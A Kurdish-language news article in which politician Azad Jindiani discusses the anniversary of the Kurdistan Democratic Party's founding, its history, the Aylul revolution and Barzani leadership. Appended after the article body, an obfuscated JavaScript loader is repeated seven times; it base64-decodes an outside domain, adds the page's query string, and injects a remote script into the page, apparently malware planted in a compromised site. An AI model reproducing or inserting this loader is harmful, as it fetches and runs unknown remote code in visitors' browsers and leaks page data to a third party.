پارتی ژبۆ بدەستڤەئینانا ئارمانجێن نەتەوەیی یێن كورد و كوردستانێ هاتیە دامەزراندن

سیاسەتمەدارەكێ كورد، باس ل سالڤەگەرا دامەزراندنا پارتی دیموكراتی كوردستان دكەت و بەرچاڤ دكەت كو پارتی ل دامەزراندنا خوە مۆدێلەكا نوو یا حزبسازیێ ل كوردستانێ پەیداكر ئەوژی حزبەكا كوردستانییە.
ئازاد جندیانی، سیاسەتمەدارێ كورد ل دۆر سالڤەگەرا دامەزراندنا پارتی دیموكراتی كوردستان دبێژیت» دەمێ دیرۆكا پارتی دیموكراتی كوردستان شرۆڤە دكەین، گرنگییا وێ دیاردبیت، چونكە ل دامەزراندنا خوە نەبوو پارتەكا سەرانسەری ئیراقێ بەلكو پارتەكا كوردستانی بوو و د ئەنجامدا ژ خەونەكێ یان ژ بیر و بۆچوونەكێ بوو دیاردەیەكا سیاسی و جڤاكی».
جندیانی گۆت ژی» بارزانیێ نەمر ل گەل دەستەیەكا خەباتكاران ل مهابادێ بڕیارا دامەزراندنا پارتی دا. پاشی ئێكەم كۆنگرەیێ پارتی كو ل 16/8/1946 ل بەغدا هاتە گرێدان، ئەو رۆژە بوو رۆژا دامەزراندنا پارتی».
ئاماژەكر» تا رادەیەكێ مەزن دیاردەیا حزبایەتیێ ل ئەڤێ دەڤەرێ دیاردەیەكا چینایەتی و ل سەر بنەمایێ فەلسەفە و ئایدیۆلۆژیا هەڤپشك دهاتنە دامەزراندن، بەلێ پارتی وەسا نەبوو، ئانكو بوو حبەكا نە چینایەتی یان ژی حزبەكا فرەچین و فرە ئایدیۆلۆژیا و باشترە بێژم بۆ حزبا كوردەواری و جڤاكا كوردستانێ و هەموو جوداهیێن فرەرەهەند دناڤ خوە دا جهگیركرن. ب دەربڕینەكا دیتر دروستبوونا پارتی ل بەرانبەر دیاردەیا حزبسازییا ئیراقییانەیا سەرانسەری، كو ئەوی سەردەمی ( پشتی ب دووماهی هاتنا شەڕێ جیهانیێ دوویێ) ل پترییا جیهانێ یا بەربەلاڤ بوو، پارتی ب ئەوێ مۆدێلێ كو هاتیە دامەزراندن، دیاردەیەكا كوردستانی خولقاند، كو هێشتا ئەو دابڕانا تیۆری و پراكتیكی وەكو پێدڤی لێ پەیدا نەببوو. ئەو دیاردەیە ل شۆڕەشا ئێلۆنا مەزن گەلەك ب رۆهنی دەركەفت كو ب بەرنامە هەموو هێزێن جڤاكی و كەسایەتیێن جڤاكی كۆمڤەكرن، هەلبەت مەبەست ژ ئەوان، كو بەرژەوەندییا نەتەوەیی ژ پارتەكا پێشڕەودا د دیت كو رێبەرییا شۆڕەشا كوردستانێ بكەت، كو ئەو شۆڕەشە بەری هەموو تشتەكی بەرگریێ ژ هەبوونا نەتەوەیی بكەت و خەباتێ بكەت بۆ بدەستڤەئینانا ئارمانجێن نەتەوەیی یێن كورد و كوردستانێ. بەلێ ئەڤ كۆمڤەكرنە گەلەك یا گرنگ بوو، چونكە تێزا كۆمڤەكرنێ بوو ل بەرانبەر پەرت و بەلاڤكرنێ كو ستراتیژییا دوژمنێن شۆڕەشێ بوو. ژ ئەوێ روانگەی، دەمێ جڤاتا سەركردایەتییا شۆڕەشا ئێلۆنێ هاتییە دروستكرن، كو نوونەرایەتییا هەموو تەخ و چینان و هەموو ئایین و مەزهەبێن كوردستانێ تێدابوون و ئەو راتییە دیاركر كو شۆڕەشا ئێلۆنێ شۆرەشا جوگرافییایەكێ بوو كو دبێژنێ كوردستان ب هەموو پێكهاتەیێن خوەڤە. ئەڤێ چەندێ دەستپێكەكا باش دروستكر بۆ رەنگرێژكرنا بزاڤا جڤاكییا سیاسی ل سەرانسەری كوردستانێ».
ناڤبری ئەوژی بەرچاڤكر» سیاسەتێ هەردەم گوهۆڕین یا تێدا هەی، سیاسەت ب تەحەدی ( كو بێژیت دێ هەر فلان تشتی كەم) نابیت، چونكە ئەڤە دوگماتیزمە، بەلێ ئەوا ئەز دبینم، پارتی نوكە ژی ب هەناسەیا شۆڕەشا ئێلۆنێ چەترا كۆمڤەكرنا نیشتمانپەروەرانە، ئەز ئێك بووم ژ وان كەسێن كو چەندین سالێن دوور و درێژ دناڤ پارتەكا دی دا من كار كریە، بەلێ ل دووماهیێ هاتم بن چەترێ پارتی درێژیێ ب خەباتا كورێ بدەم، ئەڤە ب كێمێ بەلگەیەكە كو پارتی شیانێن ئەوێ چەندێ یێن هەین كو چەترێ كۆمڤەكەر بیت بۆ هەموو ئاراستەیێن سیاسی و بیر و بۆچوونێن جودا جودا».
ناڤبری راگەهاند ژی» نهێنییا مانا پارتی، پەیوەندی ب گەلەك بابەتان ڤە یا هەی، ژوان ژی دیرۆكا پارتی كو ژ مستەفا بارزانیێ نەمر ئەڤ تایبەتمەندییە هەبوو، نوكە ژی ب رێبەرییا سەرۆك مەسعود بارزانی ئەڤ تایبەتمەندییە یا بەردەوامە، هەروەسا ژ روویێ هزری و سیاسی و ژێرخانەیا حزبایەتی ڤە هەردەم خوە نوو دكەت، د ئەوێ چەندێ دگەهم كو د مەیدانا هزرا سیاسیدا، ل ڤێرێ و ل هەر جهەكێ دی ژی تێگەهشتن و پێناسەكرنا چەمكێن خوە نووكرنێ و گوهۆیێ د وا و بگرە د ناكۆكن ژی، بەلێ بۆ پارتی ژ هەموویێ گرنگتر ئەوە كو خوە نووكرنا وێ یا هاوردەكری و كۆپیكری نینە، بەلكو ژ ئەزموونێن جڤاكا كوردستانی و ئەزموونێن پارتی خوە ژ جەرگێ خەباتا وێ یا جۆراوجۆر هاتیە ب قۆناغێن سەركەفتنێن مەزن و هەروەسا ب شكەستنێن مەزن ژی، پارتی هەر یا بەردەوام بوو ل سەر ئەوێ چەندێ چاوان خوە نوو بكەت، جارا وەسا هەبوو د رەوشەكا گەلەك ترسناك یا جیۆپۆلیتیكیدا یار و نەیارێن وێ چاڤەڕێی خوە بدەستڤەدانا پارتی كریە، بەلێ مە دیت دیرۆكێ ئەوچەندە تۆماركر كو پارتی د ئەوان رەوشێن نالەباردا خوە ب دەستڤە نەدایە، ب هەر جۆرەكێ هەبیت ژی بەردەوام بویە و درێژی هەبوونا خوە دایە».
ل دۆر گرنگییا هەبوونا پارتی بۆ ئەڤێ قۆناغێ، دبێژیت» نوكە دەمێ هووردەكارییان نینە، بەلێ پێدڤییە پارتی هەر ب ئەڤی پێگەهی ڤە بمینیت، چونكە پەیوەندییا ب پاشەڕۆژا كوردستانێ ڤە هەی، ئەوا گرنگ پێدڤییە پارتی بەردەوام بیت ل سەرخەباتێ ژ پێخەمەت كوردایەتیێ و درێژیێ پێ بدەت، كو ئەڤە بۆ پارتی پاراستنا درۆا وێیە و ژ دیرۆكا پڕسەروەری یا بارزانیێ نەمر، ئەو واقعە یێ ل بەرچاڤێن مە هەموویان كو چ فشارەكا مەزن ل سەر پارتی یا هەی، فشارێن زۆر ل سەر سەرۆك بارزانی یێن هەین، ئەو فشارە د دەرەكی و ناڤدا نە، لەوما ئەوا پێدڤییە نوكە پارتی بكەت، ئەوە بنێریتە ئەڤان فشاران وەكو گەف و بگوهۆڕیت بۆ دەلیڤەیان، شیانێن پارتی و سەرۆك بارزانی ژی ئەو چەندە نیشا مە دا كو ل قۆناغێن ناززك و نوودا، گەلەك گەف هاتنە گوهۆڕین بۆ دەلیڤەیان، ئەڤە تشتەكێ ئەفسانەیی نینە، ئەڤە ژ ئەنجامێ جیهانبینین و ب كارئینانا پێرابوون و ئامراز و ستراتیژ و تەكتیكێن جودا بوو ل سەر بنەمایێ ب هێزبوونا رژدی ل سەر ئارمانج ئیرادەیا رەهایا سەركەفتنێ».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە